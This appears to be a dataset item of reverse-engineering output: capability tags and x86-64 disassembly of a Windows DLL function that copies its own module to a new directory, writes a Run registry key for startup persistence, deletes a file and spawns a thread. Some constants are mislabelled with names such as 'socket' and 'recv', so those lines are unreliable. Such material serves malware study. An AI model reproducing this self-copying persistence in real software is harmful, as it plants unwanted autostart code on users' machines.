Function at 0x180004c80
Capabilities:
Check if file exists
Copy file
Create directory
Create thread
Delete file
Get file attributes
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x18000e010]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xor r13d, r13d
mov dword [rbp - 0x70], r13d
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rax, [rbp - 0x60]
mov rsi, 0xffffffffffffffff
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], r13b
jne 0x180004ce7
movabs r15, 0x7fffffffffffffff
cmp rbx, r15
ja 0x18000553f
movabs rax, 0x8000000000000000
mov ecx, socket
cmp rbx, 0x10
jae 0x180004d3f
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], recv
mov r8, rbx
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], r13b
jmp 0x180004dc9
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x180004d6d
mov rdi, r15
add rax, 0x27
mov rcx, rax
call fcn.180008380
test rax, rax
je 0x180004d90
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x180004da9
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x180004d97
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180005533
jmp 0x180004d52
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x180004da6
call fcn.180008380
mov r14, rax
jmp 0x180004da9
mov r14, r13
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], r13b
mov rdx, qword [0x18000e050]
cmp rdx, 0x10
jb 0x180004e0a
mov rcx, qword [0x18000e038]
inc rdx
cmp rdx, 0x1000
jb 0x180004e05
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180004eef
mov rcx, r8
call fcn.1800083bc
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [0x18000e038], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [0x18000e048], xmm1
lea rcx, [rsp + 0x50]
call fcn.180005550
mov rbx, rax
lea r12, [0x18000e058]
cmp r12, rax
je 0x180004eb4
mov rdx, qword [0x18000e070]
cmp rdx, 0x10
jb 0x180004e77
mov rcx, qword [0x18000e058]
inc rdx
cmp rdx, 0x1000
jb 0x180004e72
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180004ee8
mov rcx, r8
call fcn.1800083bc
mov qword [0x18000e068], r13
mov qword [0x18000e070], 0xf
mov byte [0x18000e058], r13b
movups xmm0, xmmword [rbx]
movups xmmword [0x18000e058], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x18000e068], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], recv
mov byte [rbx], r13b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180004efb
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ef6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004ef6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800083bc
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r14, r12
cmp qword [0x18000e070], 0x10
cmovae r14, qword [0x18000e058]
mov rdi, qword [0x18000e068]
cmp rdi, r15
ja 0x180005545
mov qword [rbp - 0x78], recv
cmp rdi, 0x10
jae 0x180004f4e
mov qword [rbp - 0x80], rdi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004fe1
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
jbe 0x180004f8d
mov rbx, r15
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180008380
mov rcx, rax
test rax, rax
je 0x1800050ad
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180004fc5
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180004fb6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180005539
jmp 0x180004f6b
test rcx, rcx
je 0x180004fc2
call fcn.180008380
jmp 0x180004fc5
mov rax, r13
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.180005950
mov rbx, rax
lea rdi, [0x18000e078]
cmp rdi, rax
je 0x180005079
mov rdx, qword [0x18000e090]
cmp rdx, 0x10
jb 0x18000503c
mov rcx, qword [0x18000e078]
inc rdx
cmp rdx, 0x1000
jb 0x180005037
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800050ad
mov rcx, r8
call fcn.1800083bc
mov qword [0x18000e088], r13
mov qword [0x18000e090], 0xf
mov byte [0x18000e078], r13b
movups xmm0, xmmword [rbx]
movups xmmword [0x18000e078], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x18000e088], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], recv
mov byte [rbx], r13b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800050b9
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800050b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800050b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800083bc
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], recv
mov byte [rsp + 0x50], r13b
mov rcx, qword [0x18000ead0]
test rcx, rcx
je 0x1800050ec
cmp byte [rcx], r13b
je 0x1800050ec
cmp byte [0x18000eac4], r13b
je 0x1800050ec
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, rdi
cmp qword [0x18000e090], 0x10
cmovae rdx, qword [0x18000e078]
lea r13, [0x18000e038]
mov rcx, r13
cmp qword [0x18000e050], 0x10
cmovae rcx, qword [0x18000e038]
mov r8, qword [0x18000e048]
cmp r8, qword [0x18000e088]
jne 0x180005132
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800051a1
mov rcx, r12
cmp qword [0x18000e070], 0x10
cmovae rcx, qword [0x18000e058]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18000516b
cmp qword [0x18000e070], 0x10
cmovae r12, qword [0x18000e058]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, rdi
cmp qword [0x18000e090], 0x10
cmovae rdx, qword [0x18000e078]
mov rcx, r13
cmp qword [0x18000e050], 0x10
cmovae rcx, qword [0x18000e038]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [0x18000eac2], 1
call fcn.180005b60
test al, al
jne 0x180005368
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.180004a20
mov rbx, rax
mov dword [rbp - 0x70], 5
cmp qword [rax + 0x18], 8
jb 0x1800051cf
mov rbx, qword [rax]
lea rdx, [0x18000e0d8]
lea rcx, [rsp + 0x50]
call fcn.180004a20
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x1800051ed
mov r14, qword [rax]
xor r12d, r12d
mov qword [rbp - 0x70], r12
xor edx, edx
mov r8d, 0x410
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea r8, [0x18000a864]
mov edx, 0x208
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, rbx
mov edx, 0x208
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [0x18000a868]
mov edx, 0x208
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov qword [rsp + 0x40], r12
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18000a870]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1800052ba
lea rax, [rbp - 0x60]
lea rsi, [rsi + 1]
cmp word [rax + rsi*2], r12w
jne 0x180005285
lea eax, [rsi*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1800052c9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x18000530e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005309
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005309
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800083bc
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r12w
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x18000536b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005361
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005361
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800083bc
jmp 0x18000536b
xor r12d, r12d
cmp byte [0x18000eac2], 0
je 0x180005463
cmp byte [0x18000eac5], 0
jne 0x180005463
cmp byte [0x18000eac4], 0
je 0x180005445
mov rax, qword [0x18000e048]
sub r15, rax
cmp r15, 2
jb 0x18000552d
cmp qword [0x18000e050], 0x10
cmovae r13, qword [0x18000e038]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 2
lea r9, [0x18000aab4]
lea rcx, [rsp + 0x70]
call fcn.180004900
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rbx, rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180005432
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000542d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000542d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800083bc
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], recv
mov byte [rsp + 0x70], 0
jmp 0x180005448
mov rbx, r12
cmp qword [0x18000e090], 0x10
cmovae rdi, qword [0x18000e078]
mov rdx, rbx
mov rcx, rdi
call fcn.180005c10
cmp byte [0x18000eac3], 0
je 0x1800054e5
mov ecx, 8
call fcn.180008380
lea rcx, [0x180006970]
mov qword [rax], rcx
mov qword [rbp - 0x70], rax
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x180006940]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x18000551c
cmp dword [rsp + 0x78], 0
jne 0x1800054c4
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x1800054e5
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
nop
movzx eax, byte [0x18000eac2]
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.180008360
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rsp + 0x78], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.180001460
int3
call fcn.1800013c0
int3
call fcn.1800013c0
int3
call fcn.180001460
int3
call fcn.180001460
int3